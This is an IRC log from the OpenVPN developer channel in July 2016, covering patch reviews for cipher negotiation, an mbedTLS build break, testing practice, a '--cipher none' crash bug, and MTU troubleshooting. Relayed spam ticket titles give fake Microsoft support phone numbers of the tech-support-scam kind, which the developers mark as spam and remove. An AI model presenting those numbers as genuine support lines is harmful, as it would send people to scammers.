Oh, if I'm lucky, I can charge it every other day ... but on a day with 4-5 phone calls, I need to charge daily 07:06 * plaisthos has 8 Android devices or so? :) 07:06 <@mattock> maybe send one to dazo? :P 07:06 <@dazo> I use caldav and activesync against the same zimbra server to ensure I don't miss any appointments ... there are different bugs in both interfaces, so sometimes I see calendar entries only via caldav other times only via activesync 07:06 <@dazo> hehehe 07:06 <@mattock> ah, lovely 07:08 <@plaisthos> mattock: most of them are old or not carrying around 07:08 <@dazo> plaisthos: you got any advice on good hardware? 07:09 <@plaisthos> basically 4 phones, 1 watch, 2 tables, 1 kind fire tv stick, 1 one android tv 07:09 <@plaisthos> Samsung builds good hardware 07:09 <@plaisthos> Unfortenately they stop there and put anoying software on it 07:09 <@plaisthos> I personally had good experience with Sony phones 07:10 <@dazo> My impression is that the Galaxy S series (which I've mostly looked at) is feels very plastic 07:10 <@plaisthos> relatively close to pure Android. Not much bloatware (apart from the default Google stuff) 07:10 <@plaisthos> dazo: the newer models are better 07:10 <@plaisthos> dazo: I have a Galaxy S6 which I don't use 07:10 <@dazo> ahh, good to know! 07:11 <@plaisthos> that I loaned (for forever?) to fix a bug on that particular model/operator combination 07:11 <@plaisthos> got loaned 08:31 <@cron2> hooray... ran into an openssl issue today, googled for the error message... found a trac ticket in our trac about easy-rsa :-) - which actually contained the solution, as a side remark :-) 08:36 <@plaisthos> by cron2? *duck* 09:09 <@plaisthos> hmpf, comment to v1, use client-ip instead of localhost, v2 does, v3 introduces localhost as alternative again, argh! 10:45 <@plaisthos> dazo: that was a short time at your last employer 10:45 <@dazo> plaisthos: yeah :) 10:46 <@dazo> it will be 2 months and 1 week, I believe that's my shortest employment ever 10:46 <@d12fk> didnt like it or just got a better offer 10:47 <@dazo> got a better offer 10:47 <@d12fk> good for you 11:22 <@mattock> dazo: you got another new job? 11:22 <@plaisthos> mattock: check your mail, he is going to be your collegue ;) 11:23 <@mattock> um, title please :P 11:23 <@mattock> oops, found it 15:01 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 15:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Wed Jul 06 2016 02:15 <@cron2> mornin' 03:10 <@mattock> morning 03:14 <@mattock> oh, btw, I have a vacation from mid-July to mid-August 03:15 <@mattock> I'll try to get everything at my end prepared for 2.4, so that we could potentially make the release in that timespan also, without me having to spend several days on it 03:15 <@mattock> I'll of course check emails and the chat periodically, so if there is something urgent I'll be available (with some delay) 03:18 <@cron2> I do not see 2.4_alpha happen before that 03:20 <@cron2> but we might get out 2.3.12 in time... if someone would review syzzer's blowfish-warning patches... 03:29 <@mattock> 2.4 not before mid-August? 03:29 <@mattock> or before mid-July? 03:30 <@cron2> before mid-July 03:30 <@mattock> ok 03:30 <@mattock> if you guys get everything sorted out during my vacation I have no problem pushing out 2.4-alpha1 03:31 <@mattock> it's only a few hours of work anyways 03:31 <@mattock> (and a few days post-release, when everything breaks, lol :) ) 04:25 <@d12fk> cron2: is thre going to be a big windows testing event caused by my patch? 04:26 <@d12fk> if yes i want to patch a little more, since the address setting is spread all over the place with no obv. reason 04:30 <@cron2> d12fk: I'm a bit frustrated right now. Instead of some useful input, all I got was "python is better than perl", but nobody bothered to help actually *implement* a windows testing environment 04:30 <@cron2> so, we still have no testing on windows 04:31 <@cron2> (as in "automated testing lots of different windows-specific aspects") 04:34 <@d12fk> how big is the alpha/beta in terms of ppl? 04:34 <@d12fk> *windows ppl 04:40 <@cron2> no idea... mattock's going to post it, and someone might test it 04:41 <@plaisthos> cron2: subject? 04:41 <@plaisthos> (of the blowfish patches) 04:49 <@cron2> plaisthos: that was on the security list - I'm not sure if you get that. James does, but he has been highly non-responsive since months :( 04:55 <@plaisthos> cron2: No, I don't get the security list. 05:08 * cron2 asks syzzer to forward the patches... 05:08 <@cron2> oh, ACKs 05:08 <@cron2> work for me :) 06:05 <@plaisthos> syzzer: just one nitpick for cipher nego patch, no aead support uncoditonally disables ncp 06:06 <@plaisthos> Might be an idea to only suppress announcing ncp support so a non AEAD cipher will still be accepted if the server pushes it 06:09 <@plaisthos> cron2: if you forward the blowfish patch I can take a look --- Day changed Thu Jul 07 2016 10:27 <@vpnHelper> RSS Update - gitrepo: Remove NOP function and callers <https://github.com/OpenVPN/openvpn/commit/365506d1704f91f827f6e063dc87b325c40e9f29> 17:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 17:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:56 < Thermi> I just realized I actually can't use the openvpn driver, because it checks the ARP source IP. :( 18:57 < Thermi> And I have already implemented the code to implement support for it in strongswan 18:57 < Thermi> D: 18:57 < Thermi> Sobasically I have to copy the driver now and do my own stuff to it. Fun 18:57 < Thermi> ! --- Day changed Fri Jul 08 2016 05:23 <@plaisthos> Thermi: think about makeing that configurable by the softwre 05:23 <@plaisthos> then you could contribute it back to our tun driver 07:19 < Thermi> plaisthos: That's the plan. Making it configurable via devicecontrol 07:23 <@plaisthos> Thermi: :) 07:23 <@plaisthos> syzzer: I pushed the crypto negoation build to all Android users 07:23 <@plaisthos> But I don't get expect any problem 07:54 <@cron2> plaisthos: full set including 3/5? 08:04 <@plaisthos> cron2: yes 08:05 <@plaisthos> cron2: I thought, when I feel confident enough to ACK it, it might as well just put it into release before being merged with official master 10:06 <@cron2> plaisthos: indeed. But you didn't ACK 3/5 yet - or did I miss that? 10:20 <@plaisthos> cron2: I did? 10:20 <@plaisthos> damn wrong sender address 10:20 <@cron2> oh :) - I *was* wondering 15:50 < Thermi> I made the changes, I just have to test them now. 17:35 < Thermi> it builds. 17:36 < Thermi> https://github.com/Thermi/tap-windows6 17:36 <@vpnHelper> Title: GitHub - Thermi/tap-windows6: Windows TAP driver (NDIS 6) (at github.com) 17:36 < Thermi> I just can't build a usable installer, because I have no EV certificate to sign the driver with. 21:56 < Thermi> https://github.com/OpenVPN/tap-windows6/pull/20 21:56 <@vpnHelper> Title: Implement option to disable source IP check of ARP requests by Thermi · Pull Request #20 · OpenVPN/tap-windows6 · GitHub (at github.com) 21:56 < Thermi> Nvm, just read contributing.rst. --- Day changed Sat Jul 09 2016 08:38 -!- krzee [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 08:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 10 2016 00:01 -!- Netsplit *.net <-> *.split quits: @mattock, @plaisthos, @vpnHelper 03:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:55 -!- ServerMode/#openvpn-devel [+o vpnHelper] by barjavel.freenode.net 03:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:55 -!- ServerMode/#openvpn-devel [+oo plaisthos mattock] by barjavel.freenode.net 08:28 -!- valdikss is now known as ValdikSS 20:43 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Quit: Page closed] --- Day changed Mon Jul 11 2016 01:57 <@mattock> morning 01:57 <@mattock> meeting today? 03:15 <@plaisthos> I actually have fine 03:15 <@plaisthos> My sport is suspended during school holidays... 03:21 <@cron2> I need to work up my backlog of already-ACKed patches (read: merge, test run, anyother quick review, ship)... but I'll be around 03:21 <@cron2> it would be great to have syzzer around... 03:54 <@mattock> maybe an informal meeting would be best then? 03:55 <@mattock> "hang around and review/ack stuff" 04:08 <@cron2> yep 04:34 <@mattock> ok, I won't announce anything official then 04:35 <@mattock> there is the "change service name" patch from me which would need to be reviewed 04:36 <@mattock> the patch itself is trivial, though, so what remains is the feature-ACK ("do we want to clearly deprecate the old openvpnserv.exe's automatic part and replace it with openvpnserv.exe") 04:36 <@mattock> sorry, replace with openvpnserv2.exe 04:37 <@mattock> according to some people on Trac openvpnserv2.exe has solved their suspend/resume issues 04:39 <@cron2> I think we want that, yes :) 04:52 <@mattock> I think so too, because otherwise old documentation will point people to enabling openvpnserv.exe automatic part, and then complain that it does not work 04:52 <@mattock> e.g. fails on Windows 10, does not recover from suspend and resume 09:13 <@syzzer> plaisthos: you should have the patches in your inbox now - let me know if you don't because my effort to send you the original mails might fail... 09:16 * syzzer is back to unpacking boxes - see you tonight! 09:17 <@cron2> :) 09:18 <@plaisthos> syzzer: thanks. I only got one mail though (the one that starts with Dear OpenVPN team) 09:19 <@plaisthos> syzzer: nevermind got more email just getting sorted in a weird folder 09:22 <@plaisthos> I will look at the patches as soon as my time permits 09:23 <@plaisthos> first skipping through the patch reveals openssl uglyness :( 09:28 <@cron2> there is something to reveal you don't already know? 09:31 <@cron2> .oO(how do I add a *useful* unit test for --connect-retry backoff...?) 09:38 <@plaisthos> you could combine it with connect-timeout 1 09:38 <@plaisthos> so you don't have too wait long :) 09:38 <@plaisthos> or tcp to a blocked port 09:39 <@cron2> that's what I did (pull-filter reject, connect-timeout 2), but that's more "manual testing". People tell me unit testing is the answer... 09:40 <@plaisthos> unit testing works great if the code has been written to have unit testing in mind 09:40 <@plaisthos> I don't know the test framework we are using 09:41 <@plaisthos> e.g. having a function "calculate_wait_between_conncts (context c)" and then calling that function with different instances of context and see if the calucated time matches what you expect 09:41 <@cron2> unit testing is fine to cover certain bulding blocks, no doubt. But the issues we tend to run into ("option cominations working together by accident and getting broken in the next version")... 09:44 <@vpnHelper> RSS Update - gitrepo: Exponentially back off on repeated connect retries <https://github.com/OpenVPN/openvpn/commit/5d429efd9720109b9c9f1265f5d351a75a401942> 09:44 <@plaisthos> that is called ingration or functional testing iirc 09:46 <@cron2> Mon Jul 11 16:41:21 2016 us=237135 Restart pause, 65535 second(s) 09:46 <@cron2> indeed, it works :) 09:50 <@plaisthos> When that patch gets applied I have a management patch lined up for that *ducks* 09:50 <@cron2> 16:42 <@vpnHelper> RSS Update - gitrepo: Exponentially back off 09:50 <@cron2> go :) 09:53 <@plaisthos> should be there any minute now 10:41 <@cron2> now why is the FreeBSD 9.3 mbedTLS build exploding with an error in <mbedtls/ssl.h> now...? 10:44 <@plaisthos> syzzer: Things, I missed in the AEAD patches: 10:45 <@plaisthos> We could proabably have defined cipher_kt_mode_aead to return false w/o aead support and gotten rid of a few defines 11:43 <@ecrist> cron2: I had issues last week on bsd with mbedtls, but it boiled down to PEBKAC 11:43 <@ecrist> fix that, and you should be good to go. :) 11:50 <@plaisthos> narf, I hate the ? operator sometimes 12:28 <@cron2> ecrist: didn't touch this particular machine... and the build from two days ago worked fine 12:29 <@cron2> OTOH... 12:29 <@cron2> Jul 9 08:55:09 fbsd91 pkg: mbedtls upgraded: 2.2.1 -> 2.3.0 12:29 <@cron2> ... *sigh* 12:30 <@ecrist> aha 12:30 <@ecrist> there you go 12:30 <@cron2> yep... but that's not *my* chair... :) 12:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 12:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:18 <@vpnHelper> RSS Update - gitrepo: Promptly close the netcmd_semaphore handle after use <https://github.com/OpenVPN/openvpn/commit/6aa4c9091300f62fae0bf7a9198de0edd2d8b7c7> 13:24 <@syzzer> so many first world problems in the new house... but with all the (network) patches in the right place I'm finally back on IRC again! 13:24 <@cron2> \o/ 13:24 < Thermi> So I sent my big patch to openvpn-devel, to which I got some responses and I resubmitted it. What shouldI expect to happen after that? 13:25 < Thermi> I'm probably the first person to send a patch for the TAP-Windows driver, so what is supposed to happen now? 13:25 <@cron2> "nothign" 13:25 < Thermi> :< 13:26 <@cron2> "you find someone who has an interest and time and get him to review the patch, and if that is fine, it gets merged" 13:26 < Thermi> alright 13:26 * cron2 is working on the cipher nego stuff from syzzer, which has been brewing a few weeks but got an ACK from plaisthos friday or so 13:30 <@vpnHelper> RSS Update - gitrepo: Deprecate the automatic part of openvpnserv.exe in favor of openvpnserv2.exe <https://github.com/OpenVPN/openvpn/commit/6dd307c8640d851c6241a27f434c53a6aee0cace> 13:34 <@mattock> ah, lovely :) 13:38 <@syzzer> hrmpf, mbedtls 2.3.0 is just broken 13:38 <@syzzer> missing #include... 13:39 <@cron2> :/ 13:41 <@cron2> am I reading this right, 3/5 should never change server behaviour? 13:42 <@syzzer> cron2: yes, that is the idea 13:44 <@syzzer> and people totally beat me to filing a bug report for mbed 2.3.0, the fix is already applied to the development branch: https://github.com/ARMmbed/mbedtls/issues/522 13:44 <@vpnHelper> Title: mbedtls_time_t does not name a type in ssl.h · Issue #522 · ARMmbed/mbedtls · GitHub (at github.com) 13:44 <@cron2> so we just need to flog the FreeBSD maintainer for not testing this enough... 13:45 <@cron2> (mbedtls, that is, not openvpn :) ) 13:45 <@syzzer> yep - and have them apply the fixup, like debian did 13:46 <@syzzer> I'll update trac 13:50 <@cron2> mailed freebsd maintainer 13:51 <@cron2> running t_server tests on 3/5 now... 13:51 <@cron2> ... this will take a bit... 13:53 <@cron2> (t_server is a script that builds & starts a server, and then ssh's out to a different VM to run full t_client tests with 2.2, 2.3 and git master clients) 13:59 <@cron2> plaisthos: the HOLD thing is just a hint, there is no real "if I do not see a release after <x> seconds, I'll just go on"? 14:00 <@cron2> mmmh, now if I had a sufficiently new openvpn AS around to test 3/5 "for real"... 14:02 <@ecrist> cron2: if you talk to mattock he'll probably provide you a legit license. 14:03 <@cron2> ecrist: the 2-user license is free 14:03 <@ecrist> yeah, if you need more, though. 14:03 <@ecrist> maybe I'll talk him in to getting a big license to use and we can set it up on a VM? 14:04 <@cron2> nah, my own OpenVPN AS is just development/hacking around, 2 users are fine. I'm just too lazy to figure out how to upgrade it 14:04 <@cron2> mattock: are you around? 14:08 <@syzzer> cron2: you might need to pretend to support IV_NCP to make is work with AS 14:08 <@syzzer> (is AS already over to the 3.x server code?) 14:09 <@syzzer> I actually meant 'to make it work with 3.x', rather than AS 14:09 <@syzzer> ... and 'TCPNL', not NCP ... 14:10 <@cron2> I have no idea what is in AS 2.1.2, but this is what I'm upgrading to right now :-) - nicely they have .deb for ubuntu 12.04 still 14:16 <@syzzer> did someone volunteer to look into the TCPNL part? I recall people saying 'this is easy', but can't remember what it was for, and if someone would implement it for 2.x 14:17 * cron2 points at plaisthos to explain 14:18 <@cron2> hrmph, my AS is kaput 14:22 * cron2 just loves --pull-filter :) 14:24 <@cron2> syzzer: so AS only pushes AEAD stuff if TCPNL is sent in addition to "peer info: IV_NCP=2"? 14:25 <@syzzer> well, 3.x does, iirc 14:25 * syzzer has no clue about AS 14:26 <@cron2> AS 2.1.2 ships with a git-master-based version 14:26 <@cron2> this is... interesting 14:27 <@cron2> meh 14:28 <@cron2> connected with iOpenVPN ("3.x") to OpenVPN AS, and it sticks to BF-CBC... 14:28 <@cron2> so it seems AS with IV_NCP server side is not shipping 14:28 <@cron2> mattock: *poke* 14:31 <@syzzer> hm, I just remembered I do have access to a 3.x test server from James 14:31 <@syzzer> let's see if I can run master + 3/5 against that 14:31 <@cron2> please do :) 14:33 <@cron2> (well, I can state at least that 3/5 *works* with AS, so it's not totally broken :) ) 14:34 <@syzzer> hm, seems the test server is no longer running :( 14:43 <@vpnHelper> RSS Update - gitrepo: Update android documentation to match source code <https://github.com/OpenVPN/openvpn/commit/49817bf0ad599b8f9e8d52be9c0bb007aece0d48> || Add client-side support for cipher negotiation <https://github.com/OpenVPN/openvpn/commit/97894360fa537945e07fd6a85d0659e094b693a5> 14:43 <@syzzer> \o/ 14:44 <@cron2> if I have no test server that actually excercises that code, hard to do more tests :) (mmmh, I could manually push the cipher settings, but without a server that handles the change, not much good) 14:45 <@syzzer> you could test against a build with 5/5 included, but testing against 3.x would be more useful... 14:47 <@plaisthos> cron2: yes 14:47 <@plaisthos> with management you get no exponenteial back off 14:48 <@plaisthos> the patch allows a management to care ... 14:48 <@cron2> plaisthos: is there a chance that it might break some management applications that expect "HOLD<eol>" there? 14:48 <@plaisthos> cron2: yes 14:49 <@cron2> I think I'll let it simmer a bit on the list, so people who understand GUIs can object if they want 14:49 <@plaisthos> kk 14:49 <@cron2> (otherwise it's easy enough) 14:49 <@syzzer> heh, most likely. The mgmt client I once wrote did exactly that. 14:49 <@plaisthos> TCP_NL is just apply udp replay also to tcp 14:49 <@plaisthos> probably just changing two three ifs somehwere 14:50 <@plaisthos> that strict would be strictly for openvpn 3 server though 14:51 <@cron2> syzzer: I'm staring at 4/5 and I'm confused 14:51 <@cron2> what is this? 14:52 <@cron2> else if (streq (p[0], "cipher") && !p[1]) 14:52 <@cron2> (it's not new code, but still) 14:52 <@syzzer> I've been amazed by that before - I think it's a nop 14:53 <@syzzer> need to dive in and purge if possible 14:53 <@cron2> well 14:53 <@cron2> the combination of --cipher none + --cipher 14:53 <@cron2> might actually lead to an intreresting explosion 14:53 <@cron2> ("set ciphername=NULL and then turn it on again") 14:53 <@cron2> let me see :) 14:53 <@syzzer> heh, indeed 14:54 <@cron2> Mon Jul 11 21:54:01 2016 Static Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication 14:54 <@cron2> Memory fault 14:54 <@cron2> haha 14:54 <@cron2> *blam* 14:54 <@cron2> and on 2.3 14:54 <@syzzer> hm, I'm guessing I introduced the possibility for ciphername=NULL 14:54 <@cron2> Mon Jul 11 21:54:38 2016 ******* WARNING *******: null cipher specified, no encryption will be used 14:54 <@cron2> Memory fault 14:54 <@cron2> *blam* 14:55 <@syzzer> oh, so not my bug after all 14:55 <@syzzer> let's create a ticket for that 14:55 <@cron2> working on it 14:56 <@syzzer> I think this can be fixed by removing code 14:56 <@cron2> looks like it 14:57 <@cron2> #699 14:58 <@cron2> 4/5 has, if I read this right, an interesting caveat 14:58 <@cron2> ah 14:58 <@cron2> no 14:58 <@vpnHelper> RSS Update - tickets: #699: --cipher none --cipher leads to crash <https://community.openvpn.net/openvpn/ticket/699> 14:59 <@cron2> (I thought you could trick the code to match --cipher vs. --ncp-ciphers by pushing "something else we might introduce in the future that has OPT_P_NCP", but it checks that options->ciphername is actually different from session->opt_config_ciphername, so if nothing is pushed, nothing is matched 15:01 <@cron2> the indirection of settin c->c1.ciphername from options->ciphername, just to set to.config_ciphername from it later looks weird 15:01 <@cron2> I assume that "options" is jut not around in do_init_crypto_tls()? 15:02 <@cron2> mmmh, it is 15:03 <@cron2> syzzer: are you very annoyed if I complain that c1.ciphername and c1.authname should go? 15:05 <@cron2> 4/5 looks like it would work nicely, but I think these structure elements serve no real purpose, since you could just assing to.config_ciphername from options->ciphername, like you do from ->ncp_enabled... 15:05 <@cron2> (and nobody seems to access c1.ciphername) 15:05 <@syzzer> cron2: 'options' is updated by the push stuff 15:06 <@syzzer> so the first connection attempt will work as expected, but the second one it will not use the cipher from the config, but he one pushed by the (previous) server 15:07 <@cron2> ah! so c1.ciphername/c1.authname is "what was in the initial config, forever" while options-> actuall mutates? 15:07 <@syzzer> so I needed to put it into c1, because that is not updated 15:07 <@syzzer> indeed 15:10 <@cron2> ok. Running t_client test now, should basically be a no-op (since the code paths are not excercised), but still. 15:10 <@cron2> 5/5 will have to wait a bit longer, getting late today 15:10 <@syzzer> yeah, I guessed so :) 15:10 * syzzer is getting tired too 15:13 * cron2 could just use plaisthos' ACK, but this is something I actually want to test ;-) 15:15 <@syzzer> totally understand - these are tricky changes 15:18 <@cron2> hrhr, Selva picked up the HOLD change as well :) 15:23 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2d 3 4 4a 5 8. 15:23 <@cron2> Test sets failed: none. 15:26 <@plaisthos> :) 15:26 <@vpnHelper> RSS Update - gitrepo: Add options to restrict cipher negotiation <https://github.com/OpenVPN/openvpn/commit/d728ebeda8c94fe401dc41b9fbda682ea0d780c9> 15:28 <@syzzer> nice nice, client side support is in :D 15:29 <@cron2> getting there :-) 15:30 <@plaisthos> Wheee! 15:31 * cron2 goes to bed. 5/5 will have to wait until wednesday-ish 15:49 <@plaisthos> We should really get 2.4 out 15:58 <@plaisthos> cron2: good night --- Day changed Tue Jul 12 2016 01:19 <@cron2> mornin' 01:20 <@cron2> plaisthos: regarding 2.4 - getting close :-) - there's the "status of openvpn 2.4" page in our wiki that lists what I think still needs to be done before release. The biggest thing is d12fk's windows init order change, which really wants a windows testing framework... 01:24 <@cron2> speaking of which... 01:24 <@cron2> valdikss: could you find time to test lev__'s patches? 03:51 <@plaisthos> cron2: :) 04:06 <@plaisthos> syzzer: we have two entries for tls-cipher in the Changes.rst, do you want to merge them? 04:06 <@plaisthos> - Stricter default TLS cipher list (override with ``--tls-cipher``), that now 04:06 <@plaisthos> also disables: 04:06 <@plaisthos> * Non-ephemeral key exchange using static (EC)DH keys 04:06 <@plaisthos> * DSS private keys 04:06 <@plaisthos> - The default of tls-cipher is now "DEFAULT:!EXP:!PSK:!SRP:!kRSA" 04:06 <@plaisthos> instead of "DEFAULT" to always select perfect forward security 04:06 <@plaisthos> cipher suites 04:31 <@vpnHelper> RSS Update - tickets: #700: zxzx <https://community.openvpn.net/openvpn/ticket/700> 04:36 <@cron2> plaisthos: sounds reasonable 04:36 <@vpnHelper> RSS Update - tickets: #702: Helpline US TOLL FREE +1844-775-6411 Microsoft Outlook Customer Service Phone Number <https://community.openvpn.net/openvpn/ticket/702> || #701: About Microsoft 1.8.4.4.....7.7.5....6.4.1.1 outlook Mail Tech Support Phone Number <https://community.openvpn.net/openvpn/ticket/701> 04:37 <@plaisthos> cron2: do you want a patch without typos or just fix them when you commit? 04:37 <@cron2> for documentation, I take fix-as-I-go :) 04:39 <@cron2> syzzer: why disable compression? 04:41 <@vpnHelper> RSS Update - tickets: #703: Helpline US TOLL FREE +18.4.4.-7.7.5-6.4.1.1 Microsoft Outlook Customer Service Phone Number <https://community.openvpn.net/openvpn/ticket/703> || #701: spam <https://community.openvpn.net/openvpn/ticket/701> || #702: spam <https://community.openvpn.net/openvpn/ticket/702> || #700: spam <https://community.openvpn.net/openvpn/ticket/700> 04:42 <@cron2> mattock: can you block that asshole, please? 04:47 <@vpnHelper> RSS Update - tickets: #704: + *!!!!!!+@GOOGLE+!!+ 1.8.4.4-7.7.5-6.4.1.1 @+@ MICROSOFT@Tech@Support@Phone@Number@microsoft@customer@service@number <https://community.openvpn.net/openvpn/ticket/704> || #703: spam <https://community.openvpn.net/openvpn/ticket/703> 04:53 <@vpnHelper> RSS Update - tickets: #705: DIAL NOW +1844/775/6411 Microsoft Hotmail /Outlook 2010 tech support phone number <https://community.openvpn.net/openvpn/ticket/705> || #704: asshole <https://community.openvpn.net/openvpn/ticket/704> 04:59 <@vpnHelper> RSS Update - tickets: #705: spam <https://community.openvpn.net/openvpn/ticket/705> 05:12 <@cron2> FreeBSD patch for mbedTLS 2.3.0 breakage is in :-) 05:12 <@cron2> now waiting for binary pkg to show up... *lazy* 05:17 <@plaisthos> cron2: compression seems to make more problems than it is worth from cryptographic standpoint 05:17 <@plaisthos> e.g. https://en.wikipedia.org/wiki/BREACH_(security_exploit) 05:25 <@plaisthos> also somtimes hides mtu related issues 06:29 * cron2 is all for hiding MTU 06:34 <@cron2> mattock: PLEASE!!! 06:55 <@vpnHelper> RSS Update - tickets: #706: Windows Vista Phone @1-8.4.4-7.7.5-6.4.1.1 Windows Vista H.e.l.p.l.i.n.e S.u.p.p.o.r.t P.h.o.n.e Number <https://community.openvpn.net/openvpn/ticket/706> 06:56 <@ecrist> fuck 06:56 <@cron2> yes 06:57 <@cron2> ecrist: can you block this user? 06:57 <@ecrist> yeah, working on it. 07:01 <@vpnHelper> RSS Update - tickets: #706: spam <https://community.openvpn.net/openvpn/ticket/706> 07:05 <@ecrist> that user has been added to spammers 07:05 <@ecrist> I'm working on deleting the tickets themselves 07:15 <@cron2> the tickets have all been set to spam/spam/closed, so that's not a major issue anymore 07:18 <@ecrist> it is 07:18 <@ecrist> well, it's not, i've removed the tickets 07:18 <@ecrist> as long as the tickets exist, they'll be indexed by search engines 07:18 <@cron2> I have set text and topic to "spam", nothing to index anymore 07:18 <@ecrist> ticket comments were added to 706 07:25 <@vpnHelper> RSS Update - tickets: #707: WINDOWS Vista 18.4.4~7.7.5~6.4.1.1))windows Vista t..e.c.h s.u.p.p.o.r.t phone number.txt <https://community.openvpn.net/openvpn/ticket/707> 07:28 <@ecrist> grr 07:28 <@ecrist> poof 07:34 <@cron2> new user? 07:36 <@ecrist> nope, same one 07:36 <@ecrist> he's been added to the spammer group 07:36 <@ecrist> but I can't find a way to remove his current login session 07:36 <@cron2> annoyance 07:37 <@vpnHelper> RSS Update - tickets: #708: Microsoft windows Activation Support 1.8.4.4-7.7.5.-6.4.1.1 phone number <https://community.openvpn.net/openvpn/ticket/708> 07:40 * ecrist disables ticket functions for a moment 07:57 <@ecrist> I've tweaked the spam scoring a bit that should prevent that users from posting. 07:59 <@mattock> hmm, how did that guy slip by the spam filters... 07:59 <@ecrist> not sure, but he's persistent. :) 08:00 <@ecrist> the mollom spam engine has been marking all his stuff as ham, so that gives it a high enough score 08:00 <@ecrist> akismet has been marking it as spam, though 08:00 <@ecrist> so, I've given akismet a bit more weight, and reduced the weight mollom provides 08:02 <@mattock> yeah, mollom seems to be rather clueless here 08:03 <@ecrist> I wish we could integrate cleantalk to trac 08:04 <@ecrist> mattock: what is your email again? 08:04 <@mattock> samuli at openvpn 08:05 <@ecrist> cleantalk has delegation privileges now 08:05 <@ecrist> looks like you'd need to create an account, then I can delegate full control to you 08:07 <@mattock> ah, ok 08:07 <@mattock> if CleanTalk has an API (as it almost certainly does), it could be integrated into Trac 08:07 <@mattock> some work of course 08:08 <@mattock> I'll create an account for CleanTalk 08:09 <@ecrist> I used the trac-admin "ticket remove" command to remove the above tickets 08:11 <@mattock> yeah, that is probably fine because they're definitely not linked to from anywhere 08:11 <@mattock> I now have an account on CleanTalk 08:13 <@mattock> what was the spammer's username? 08:14 <@mattock> all of the edits in spam monitoring seem legit, even though the spam filters seem to disagree quite a bit 08:16 <@ecrist> helpful56789 08:17 <@ecrist> you should see forums.openvpn.net in your dashboard now 08:25 <@mattock> yeah, I see it 08:27 <@mattock> I take it you deleted "helpful's" ticket edits in spam admin as "spam"? 08:27 <@mattock> I hope we can turn on bayesian filter on soon, now that it has some training 08:28 <@mattock> although I recall 50 ham + 50 spam being somewhat of a minimum 08:49 <@ecrist> yes, I did through the spam admin, as well. 08:55 <@mattock> excellent! 08:56 <@mattock> I marked some ham as ham (so that "ham to spam" ratio remains roughly 50:50) and deleted the rest 08:58 <@ecrist> excellent. 08:59 <@ecrist> I'm sure if we asked and/or helped with a Trac plugin, the Cleantalk devs would help. 09:02 <@mattock> yes, or we could possibly sponsor a Trac dev to write it 09:03 <@mattock> I'd have a look at CleanTalk API and the Trac plugin system first 09:03 <@mattock> from what I've seen, the Trac spam filter plugins are fairly simple, because they basically take some input, pass it on to a external service, get back the result and feed that back to Trac 09:04 <@mattock> so definitely doable with some effort 09:10 <@mattock> based on a quick search nobody has written a CleanTalk plugin for Trac 09:10 <@mattock> I say we do it :) 09:10 <@mattock> the official filters are kept in the Trac SVN repo: https://trac.edgewall.org/wiki/SpamFilter 09:10 <@vpnHelper> Title: SpamFilter – The Trac Project (at trac.edgewall.org) 09:10 <@mattock> plenty of examples 15:08 <@cron2> syzzer: 4/5 (as pushed yesterday) passed t_server tests, so we definitely did not break compatibility with 2.2/2.3/master clients *yet*... :-) 15:37 <@plaisthos> cron2: :) 15:38 <@plaisthos> I am sure server compatiblty is also there since I herad zero complainsts 15:43 <@cron2> fascinating :) 15:49 <@plaisthos> one user compailed that his VPN stopped working after the update 15:49 <@plaisthos> and that turned out to be AUTH_FAILED ... 15:50 <@cron2> however *that* happened :) 15:50 <@plaisthos> but he swore that hte problem was the update ... so he probably knows better 15:50 <@plaisthos> someone gets a random "free VPN" profile, it works 15:51 <@plaisthos> does not use for a few weeks and when the app is updated he remembers the profile and tests it again 15:51 <@plaisthos> that is my theory 16:51 <@syzzer> cron2: re compression - what plaisthos said. Compression is often used in attacks on crypto protocols. It's a bit harder to do the same for OpenVPN than for example plain TLS, but the safe default is to just not use compression. --- Day changed Wed Jul 13 2016 01:23 <@mattock> ecrist: https://github.com/CleanTalk/python-antispam 01:23 <@vpnHelper> Title: GitHub - CleanTalk/python-antispam: Web based antispam API for Python applications (at github.com) 01:56 <@mattock> ah, Bayesian filter on Trac killed of 9 attempts to spam Trac 01:57 <@mattock> including the "helpful" guy 01:59 <@mattock> I trained the filter a bit more 06:02 <@plaisthos> TCP/UDP packet too large on write to [AF_INET6]::ffff:131.234.66.249:1194 (tried=1399,max=1361) 06:02 <@plaisthos> anyone got these messages? 06:03 <@plaisthos> strange thing is that is already with mssfix 1280 on the client 06:05 <@cron2> large UDP packet? 06:05 <@cron2> (inside) 06:08 <@plaisthos> no 06:08 <@plaisthos> mssfix not working 06:08 <@plaisthos> tcp syn packets have a mss of 1460 06:09 <@plaisthos> (which should not happens as even openvpn's defualt for mssfix is 1450 06:11 <@plaisthos> btw. why is our default mtu 1500 if we cannot packets containing 1500 mtu? 06:20 <@plaisthos> also I think my tcp/ip stack or openvpn is getting drunk: TCP/UDP packet too large on write to [AF_INET6]::ffff:131.234.66.249:1194 (tried=1188,max=1187) 06:20 <@plaisthos> 1200 is not big at all 06:22 <@plaisthos> after restarting openvpn server the error is gone 06:38 <@cron2> plaisthos: that is weird... (and last time I looked, mssfix was working fine, but you need to look at packets coming out of the tunnel... *and* MSS is unidirectional thing, so look at SYN and SYN-ACK) 08:33 <@plaisthos> mssfix does not work for me 08:33 <@plaisthos> options are not set 